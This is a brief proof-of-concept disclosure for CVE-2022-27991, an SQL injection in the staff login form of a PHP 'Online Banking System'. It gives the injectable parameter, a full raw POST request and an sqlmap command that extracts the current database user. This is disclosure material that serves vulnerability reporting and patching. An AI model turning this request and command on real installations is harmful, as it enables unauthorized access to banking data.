CVE-2022-27991: CVEs/POC.md at main · D4rkP0w4r/CVEs

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Online Banking System SQL Injection

• Description => sql injection at staff_login.php

Step to Reproduct

• Staff Login -> Staff ID -> Staff Password -> Login -> modify data -> Sqlmap

Exploit

python3 sqlmap.py -r sqli.txt --batch --current-user

Vulnerable Code

• No filter Staff ID and Staff Password when inserting data to database

Information Disclosure

Injection Point

staff_id=*&password=hhhhhhhhhh&staff_login-btn=LOGIN

• Request

POST /Online-Banking/staff_login.php HTTP/1.1 Host: 192.168.1.101:8080 Content-Length: 57 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.1.101:8080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.101:8080/Online-Banking/staff_login.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=jpkpok9b1tiholm7srir1b6mev Connection: close

staff_id=*&password=hhhhhhhhhh&staff_login-btn=LOGIN